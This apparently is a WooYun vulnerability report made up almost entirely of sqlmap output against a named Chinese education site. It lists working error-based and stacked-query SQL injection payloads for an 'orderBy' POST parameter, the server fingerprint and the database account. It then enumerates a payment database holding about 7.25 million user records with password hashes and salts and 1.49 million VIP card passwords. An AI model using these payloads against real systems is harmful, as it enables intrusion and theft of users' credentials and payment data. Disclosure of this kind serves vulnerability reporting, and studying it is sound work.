WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: orderBy (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: gradePhase=1&workType=4&title=e&orderBy=FinalistOn AND (SELECT 5842 FROM(SELECT COUNT(*),CONCAT(0x71766a7871,(SELECT (CASE WHEN (5842=5842) THEN 1 ELSE 0 END)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&orderByType=1&pageCurrent=1
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: gradePhase=1&workType=4&title=e&orderBy=FinalistOn; SELECT SLEEP(5)-- &orderByType=1&pageCurrent=1
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
current user:    'ciwong_it@%'
720多万用户信息：
Database: cw_pay
Table: pay_user
[9 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| amount        | double       |
| is_lock       | tinyint(4)   |
| lock_amount   | double       |
| password      | varchar(128) |
| password_salt | varchar(128) |
| un_lock_time  | datetime     |
| update_time   | datetime     |
| user_id       | bigint(20)   |
| user_name     | varchar(50)  |
+---------------+--------------+

+----------+---------+
| Table    | Entries |
+----------+---------+
| pay_user | 7256464 |
+----------+---------+

current user:    'ciwong_it@%'
Database: cw_pay
Table: vip_card
[7 columns]
+-------------+-------------+
| Column      | Type        |
+-------------+-------------+
| begin_time  | datetime    |
| card_id     | varchar(10) |
| card_pwd    | varchar(50) |
| card_type   | tinyint(4)  |
| create_time | datetime    |
| expire_time | datetime    |
| status      | tinyint(4)  |
+-------------+-------------+

+----------+---------+
| Table    | Entries |
+----------+---------+
| vip_card | 1491556 |
+----------+---------+